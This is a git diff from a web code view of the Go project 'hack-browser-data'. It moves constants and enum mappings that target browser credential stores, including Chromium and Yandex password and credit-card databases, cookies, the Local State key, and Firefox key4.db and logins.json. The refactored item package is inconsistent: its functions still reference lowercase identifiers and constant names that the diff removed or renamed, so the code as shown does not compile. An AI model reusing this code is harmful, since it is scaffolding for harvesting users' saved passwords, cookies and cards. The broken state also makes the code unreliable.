ChromiumBookmark = "Bookmarks" |
|
||||||
ChromiumLocalStorage = "chromiumLocalStorage" |
|
||||||
|
|
||||||
YandexPassword = "Ya PassMan Data" |
|
||||||
YandexCredit = "Ya Credit Cards" |
|
||||||
|
|
||||||
FirefoxKey4 = "key4.db" |
|
||||||
FirefoxCookie = "cookies.sqlite" |
|
||||||
FirefoxPassword = "logins.json" |
|
||||||
FirefoxData = "places.sqlite" |
|
||||||
|
|
||||||
UnknownItem = "unknown item" |
|
||||||
UnsupportedItem = "unsupported item" |
|
||||||
) |
|
||||||
|
|
||||||
// item's renamed filename
|
|
||||||
const ( |
|
||||||
ChromiumKeyFilename = "ChromiumKeyFilename" |
|
||||||
ChromiumCreditFilename = "ChromiumCreditFilename" |
|
||||||
ChromiumPasswordFilename = "ChromiumPasswordFilename" |
|
||||||
ChromiumHistoryFilename = "ChromiumHistoryFilename" |
|
||||||
ChromiumDownloadFilename = "ChromiumDownloadFilename" |
|
||||||
ChromiumCookieFilename = "ChromiumCookieFilename" |
|
||||||
ChromiumBookmarkFilename = "ChromiumBookmarkFilename" |
|
||||||
ChromiumLocalStorageFilename = "ChromiumLocalStorageFilename" |
|
||||||
|
|
||||||
YandexPasswordFilename = "YandexPasswordFilename" |
|
||||||
YandexCreditFilename = "YandexCreditFilename" |
|
||||||
|
|
||||||
FirefoxKey4Filename = "FirefoxKey4DBFilename" |
|
||||||
FirefoxCookieFilename = "FirefoxCookieFilename" |
|
||||||
FirefoxPasswordFilename = "FirefoxPasswordFilename" |
|
||||||
FirefoxDownloadFilename = "FirefoxDownloadFilename" |
|
||||||
FirefoxHistoryFilename = "FirefoxHistoryFilename" |
|
||||||
FirefoxBookmarkFilename = "FirefoxBookmarkFilename" |
|
||||||
FirefoxDataFilename = "FirefoxDataFilename" |
|
||||||
) |
|
@ -1 +0,0 @@ |
|||||||
package consts |
|
@ -0,0 +1 @@ |
|||||||
|
package firefox |
@ -1,166 +0,0 @@ |
|||||||
package browser |
|
||||||
|
|
||||||
import ( |
|
||||||
"hack-browser-data/internal/browser/consts" |
|
||||||
data2 "hack-browser-data/internal/browser/data" |
|
||||||
) |
|
||||||
|
|
||||||
type item int |
|
||||||
|
|
||||||
const ( |
|
||||||
chromiumKey item = iota |
|
||||||
chromiumPassword |
|
||||||
chromiumCookie |
|
||||||
chromiumBookmark |
|
||||||
chromiumHistory |
|
||||||
chromiumDownload |
|
||||||
chromiumCreditCard |
|
||||||
chromiumLocalStorage |
|
||||||
chromiumExtension |
|
||||||
|
|
||||||
yandexPassword |
|
||||||
yandexCreditCard |
|
||||||
|
|
||||||
firefoxKey4 |
|
||||||
firefoxPassword |
|
||||||
firefoxCookie |
|
||||||
firefoxBookmark |
|
||||||
firefoxHistory |
|
||||||
firefoxDownload |
|
||||||
firefoxCreditCard |
|
||||||
firefoxLocalStorage |
|
||||||
firefoxExtension |
|
||||||
) |
|
||||||
|
|
||||||
func (i item) DefaultName() string { |
|
||||||
switch i { |
|
||||||
case chromiumKey: |
|
||||||
return consts.ChromiumKey |
|
||||||
case chromiumPassword: |
|
||||||
return consts.ChromiumPassword |
|
||||||
case chromiumCookie: |
|
||||||
return consts.ChromiumCookie |
|
||||||
case chromiumBookmark: |
|
||||||
return consts.ChromiumBookmark |
|
||||||
case chromiumDownload: |
|
||||||
return consts.ChromiumDownload |
|
||||||
case chromiumLocalStorage: |
|
||||||
return consts.ChromiumLocalStorage |
|
||||||
case chromiumCreditCard: |
|
||||||
return consts.ChromiumCredit |
|
||||||
case chromiumExtension: |
|
||||||
return consts.UnknownItem |
|
||||||
case chromiumHistory: |
|
||||||
return consts.ChromiumHistory |
|
||||||
case yandexPassword: |
|
||||||
return consts.YandexPassword |
|
||||||
case yandexCreditCard: |
|
||||||
return consts.YandexCredit |
|
||||||
case firefoxKey4: |
|
||||||
return consts.FirefoxKey4 |
|
||||||
case firefoxPassword: |
|
||||||
return consts.FirefoxPassword |
|
||||||
case firefoxCookie: |
|
||||||
return consts.FirefoxCookie |
|
||||||
case firefoxBookmark: |
|
||||||
return consts.FirefoxData |
|
||||||
case firefoxDownload: |
|
||||||
return consts.FirefoxData |
|
||||||
case firefoxLocalStorage: |
|
||||||
return consts.UnsupportedItem |
|
||||||
case firefoxCreditCard: |
|
||||||
return consts.UnsupportedItem |
|
||||||
case firefoxHistory: |
|
||||||
return consts.FirefoxData |
|
||||||
case firefoxExtension: |
|
||||||
return consts.UnsupportedItem |
|
||||||
default: |
|
||||||
return consts.UnknownItem |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (i item) FileName() string { |
|
||||||
switch i { |
|
||||||
case chromiumKey: |
|
||||||
return consts.ChromiumKeyFilename |
|
||||||
case chromiumPassword: |
|
||||||
return consts.ChromiumPasswordFilename |
|
||||||
case chromiumCookie: |
|
||||||
return consts.ChromiumCookieFilename |
|
||||||
case chromiumBookmark: |
|
||||||
return consts.ChromiumBookmarkFilename |
|
||||||
case chromiumDownload: |
|
||||||
return consts.ChromiumDownloadFilename |
|
||||||
case chromiumLocalStorage: |
|
||||||
return consts.ChromiumLocalStorageFilename |
|
||||||
case chromiumCreditCard: |
|
||||||
return consts.ChromiumCreditFilename |
|
||||||
case chromiumHistory: |
|
||||||
return consts.ChromiumHistoryFilename |
|
||||||
case chromiumExtension: |
|
||||||
return consts.UnsupportedItem |
|
||||||
case yandexPassword: |
|
||||||
return consts.ChromiumPasswordFilename |
|
||||||
case yandexCreditCard: |
|
||||||
return consts.ChromiumCreditFilename |
|
||||||
case firefoxKey4: |
|
||||||
return consts.FirefoxKey4Filename |
|
||||||
case firefoxPassword: |
|
||||||
return consts.FirefoxPasswordFilename |
|
||||||
case firefoxCookie: |
|
||||||
return consts.FirefoxCookieFilename |
|
||||||
case firefoxBookmark: |
|
||||||
return consts.FirefoxBookmarkFilename |
|
||||||
case firefoxDownload: |
|
||||||
return consts.FirefoxDownloadFilename |
|
||||||
case firefoxLocalStorage: |
|
||||||
return consts.UnsupportedItem |
|
||||||
case firefoxCreditCard: |
|
||||||
return consts.UnsupportedItem |
|
||||||
case firefoxHistory: |
|
||||||
return consts.FirefoxHistoryFilename |
|
||||||
case firefoxExtension: |
|
||||||
return consts.UnsupportedItem |
|
||||||
default: |
|
||||||
return consts.UnknownItem |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (i item) NewBrowsingData() data2.BrowsingData { |
|
||||||
switch i { |
|
||||||
case chromiumKey: |
|
||||||
return nil |
|
||||||
case chromiumPassword: |
|
||||||
return &data2.ChromiumPassword{} |
|
||||||
case chromiumCookie: |
|
||||||
return &data2.ChromiumCookie{} |
|
||||||
case chromiumBookmark: |
|
||||||
return &data2.ChromiumBookmark{} |
|
||||||
case chromiumDownload: |
|
||||||
return &data2.ChromiumDownload{} |
|
||||||
case chromiumLocalStorage: |
|
||||||
return nil |
|
||||||
case chromiumCreditCard: |
|
||||||
return &data2.ChromiumCreditCard{} |
|
||||||
case chromiumExtension: |
|
||||||
return nil |
|
||||||
case chromiumHistory: |
|
||||||
return &data2.ChromiumHistory{} |
|
||||||
case yandexPassword: |
|
||||||
return &data2.ChromiumPassword{} |
|
||||||
case yandexCreditCard: |
|
||||||
return &data2.ChromiumCreditCard{} |
|
||||||
case firefoxPassword: |
|
||||||
return &data2.FirefoxPassword{} |
|
||||||
case firefoxCookie: |
|
||||||
return &data2.FirefoxCookie{} |
|
||||||
case firefoxBookmark: |
|
||||||
return &data2.FirefoxBookmark{} |
|
||||||
case firefoxDownload: |
|
||||||
return &data2.FirefoxDownload{} |
|
||||||
case firefoxHistory: |
|
||||||
return &data2.FirefoxHistory{} |
|
||||||
default: |
|
||||||
return nil |
|
||||||
} |
|
||||||
} |
|
@ -0,0 +1,47 @@ |
|||||||
|
package item |
||||||
|
|
||||||
|
// item's default filename
|
||||||
|
const ( |
||||||
|
FileChromiumKey = "Local State" |
||||||
|
FileChromiumCredit = "Web Data" |
||||||
|
FileChromiumPassword = "Login Data" |
||||||
|
FileChromiumHistory = "History" |
||||||
|
FileChromiumDownload = "History" |
||||||
|
FileChromiumCookie = "Cookies" |
||||||
|
FileChromiumBookmark = "Bookmarks" |
||||||
|
FileChromiumLocalStorage = "chromiumLocalStorage" |
||||||
|
|
||||||
|
FileYandexPassword = "Ya PassMan Data" |
||||||
|
FileYandexCredit = "Ya Credit Cards" |
||||||
|
|
||||||
|
FileFirefoxKey4 = "key4.db" |
||||||
|
FileFirefoxCookie = "cookies.sqlite" |
||||||
|
FileFirefoxPassword = "logins.json" |
||||||
|
FileFirefoxData = "places.sqlite" |
||||||
|
|
||||||
|
FileUnknownItem = "unknown item" |
||||||
|
FileUnsupportedItem = "unsupported item" |
||||||
|
) |
||||||
|
|
||||||
|
// item's renamed filename
|
||||||
|
const ( |
||||||
|
TempChromiumKey = "TempChromiumKey" |
||||||
|
TempChromiumCredit = "TempChromiumCredit" |
||||||
|
TempChromiumPassword = "TempChromiumPassword" |
||||||
|
TempChromiumHistory = "TempChromiumHistory" |
||||||
|
TempChromiumDownload = "TempChromiumDownload" |
||||||
|
TempChromiumCookie = "TempChromiumCookie" |
||||||
|
TempChromiumBookmark = "TempChromiumBookmark" |
||||||
|
TempChromiumLocalStorage = "TempChromiumLocalStorage" |
||||||
|
|
||||||
|
TempYandexPassword = "TempYandexPassword" |
||||||
|
TempYandexCredit = "TempYandexCredit" |
||||||
|
|
||||||
|
TempFirefoxKey4 = "TempFirefoxKey4" |
||||||
|
TempFirefoxCookie = "TempFirefoxCookie" |
||||||
|
TempFirefoxPassword = "TempFirefoxPassword" |
||||||
|
TempFirefoxDownload = "TempFirefoxDownload" |
||||||
|
TempFirefoxHistory = "TempFirefoxHistory" |
||||||
|
TempFirefoxBookmark = "TempFirefoxBookmark" |
||||||
|
TempFirefoxData = "TempFirefoxData" |
||||||
|
) |
@ -0,0 +1,165 @@ |
|||||||
|
package item |
||||||
|
|
||||||
|
import ( |
||||||
|
data2 "hack-browser-data/internal/browser/data" |
||||||
|
) |
||||||
|
|
||||||
|
type Item int |
||||||
|
|
||||||
|
const ( |
||||||
|
ItemChromiumKey Item = iota |
||||||
|
ItemChromiumPassword |
||||||
|
ItemChromiumCookie |
||||||
|
ItemChromiumBookmark |
||||||
|
ItemChromiumHistory |
||||||
|
ItemChromiumDownload |
||||||
|
ItemChromiumCreditCard |
||||||
|
ItemChromiumLocalStorage |
||||||
|
ItemChromiumExtension |
||||||
|
|
||||||
|
ItemYandexPassword |
||||||
|
ItemYandexCreditCard |
||||||
|
|
||||||
|
ItemFirefoxKey4 |
||||||
|
ItemFirefoxPassword |
||||||
|
ItemFirefoxCookie |
||||||
|
ItemFirefoxBookmark |
||||||
|
ItemFirefoxHistory |
||||||
|
ItemFirefoxDownload |
||||||
|
ItemFirefoxCreditCard |
||||||
|
ItemFirefoxLocalStorage |
||||||
|
ItemFirefoxExtension |
||||||
|
) |
||||||
|
|
||||||
|
func (i Item) DefaultName() string { |
||||||
|
switch i { |
||||||
|
case ItemChromiumKey: |
||||||
|
return ChromiumKey |
||||||
|
case ItemChromiumPassword: |
||||||
|
return ChromiumPassword |
||||||
|
case ItemChromiumCookie: |
||||||
|
return ChromiumCookie |
||||||
|
case ItemChromiumBookmark: |
||||||
|
return ChromiumBookmark |
||||||
|
case ItemChromiumDownload: |
||||||
|
return ChromiumDownload |
||||||
|
case ItemChromiumLocalStorage: |
||||||
|
return ChromiumLocalStorage |
||||||
|
case ItemChromiumCreditCard: |
||||||
|
return ChromiumCredit |
||||||
|
case ItemChromiumExtension: |
||||||
|
return UnknownItem |
||||||
|
case ItemChromiumHistory: |
||||||
|
return ChromiumHistory |
||||||
|
case ItemYandexPassword: |
||||||
|
return YandexPassword |
||||||
|
case ItemYandexCreditCard: |
||||||
|
return YandexCredit |
||||||
|
case ItemFirefoxKey4: |
||||||
|
return FirefoxKey4 |
||||||
|
case ItemFirefoxPassword: |
||||||
|
return FirefoxPassword |
||||||
|
case ItemFirefoxCookie: |
||||||
|
return FirefoxCookie |
||||||
|
case ItemFirefoxBookmark: |
||||||
|
return FirefoxData |
||||||
|
case ItemFirefoxDownload: |
||||||
|
return FirefoxData |
||||||
|
case ItemFirefoxLocalStorage: |
||||||
|
return UnsupportedItem |
||||||
|
case ItemFirefoxCreditCard: |
||||||
|
return UnsupportedItem |
||||||
|
case ItemFirefoxHistory: |
||||||
|
return FirefoxData |
||||||
|
case ItemFirefoxExtension: |
||||||
|
return UnsupportedItem |
||||||
|
default: |
||||||
|
return UnknownItem |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
func (i Item) FileName() string { |
||||||
|
switch i { |
||||||
|
case chromiumKey: |
||||||
|
return TempChromiumKey |
||||||
|
case chromiumPassword: |
||||||
|
return TempChromiumPassword |
||||||
|
case chromiumCookie: |
||||||
|
return ChromiumCookieFilename |
||||||
|
case chromiumBookmark: |
||||||
|
return ChromiumBookmarkFilename |
||||||
|
case chromiumDownload: |
||||||
|
return ChromiumDownloadFilename |
||||||
|
case chromiumLocalStorage: |
||||||
|
return ChromiumLocalStorageFilename |
||||||
|
case chromiumCreditCard: |
||||||
|
return TempChromiumCredit |
||||||
|
case chromiumHistory: |
||||||
|
return TempChromiumHistory |
||||||
|
case chromiumExtension: |
||||||
|
return UnsupportedItem |
||||||
|
case yandexPassword: |
||||||
|
return TempChromiumPassword |
||||||
|
case yandexCreditCard: |
||||||
|
return TempChromiumCredit |
||||||
|
case firefoxKey4: |
||||||
|
return FirefoxKey4Filename |
||||||
|
case firefoxPassword: |
||||||
|
return FirefoxPasswordFilename |
||||||
|
case firefoxCookie: |
||||||
|
return FirefoxCookieFilename |
||||||
|
case firefoxBookmark: |
||||||
|
return FirefoxBookmarkFilename |
||||||
|
case firefoxDownload: |
||||||
|
return FirefoxDownloadFilename |
||||||
|
case firefoxLocalStorage: |
||||||
|
return UnsupportedItem |
||||||
|
case firefoxCreditCard: |
||||||
|
return UnsupportedItem |
||||||
|
case firefoxHistory: |
||||||
|
return FirefoxHistoryFilename |
||||||
|
case firefoxExtension: |
||||||
|
return UnsupportedItem |
||||||
|
default: |
||||||
|
return UnknownItem |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
func (i Item) NewBrowsingData() data2.BrowsingData { |
||||||
|
switch i { |
||||||
|
case chromiumKey: |
||||||
|
return nil |
||||||
|
case chromiumPassword: |
||||||
|
return &data2.ChromiumPassword{} |
||||||
|
case chromiumCookie: |
||||||
|
return &data2.ChromiumCookie{} |
||||||
|
case chromiumBookmark: |
||||||
|
return &data2.ChromiumBookmark{} |
||||||
|
case chromiumDownload: |
||||||
|
return &data2.ChromiumDownload{} |
||||||
|
case chromiumLocalStorage: |
||||||
|
return nil |
||||||
|
case chromiumCreditCard: |
||||||
|
return &data2.ChromiumCreditCard{} |
||||||
|
case chromiumExtension: |
||||||
|
return nil |
||||||
|
case chromiumHistory: |
||||||
|
return &data2.ChromiumHistory{} |
||||||
|
case yandexPassword: |
||||||
|
return &data2.ChromiumPassword{} |
||||||
|
case yandexCreditCard: |
||||||
|
return &data2.ChromiumCreditCard{} |
||||||
|
case firefoxPassword: |
||||||
|
return &data2.FirefoxPassword{} |
||||||
|
case firefoxCookie: |
||||||
|
return &data2.FirefoxCookie{} |
||||||
|
case firefoxBookmark: |
||||||
|
return &data2.FirefoxBookmark{} |
||||||
|
case firefoxDownload: |
||||||
|
return &data2.FirefoxDownload{} |
||||||
|
case firefoxHistory: |
||||||
|
return &data2.FirefoxHistory{} |
||||||
|
default: |
||||||
|
return nil |
||||||
|
} |
||||||
|
} |
@ -0,0 +1 @@ |
|||||||
|
package item |
Loading…
Reference in new issue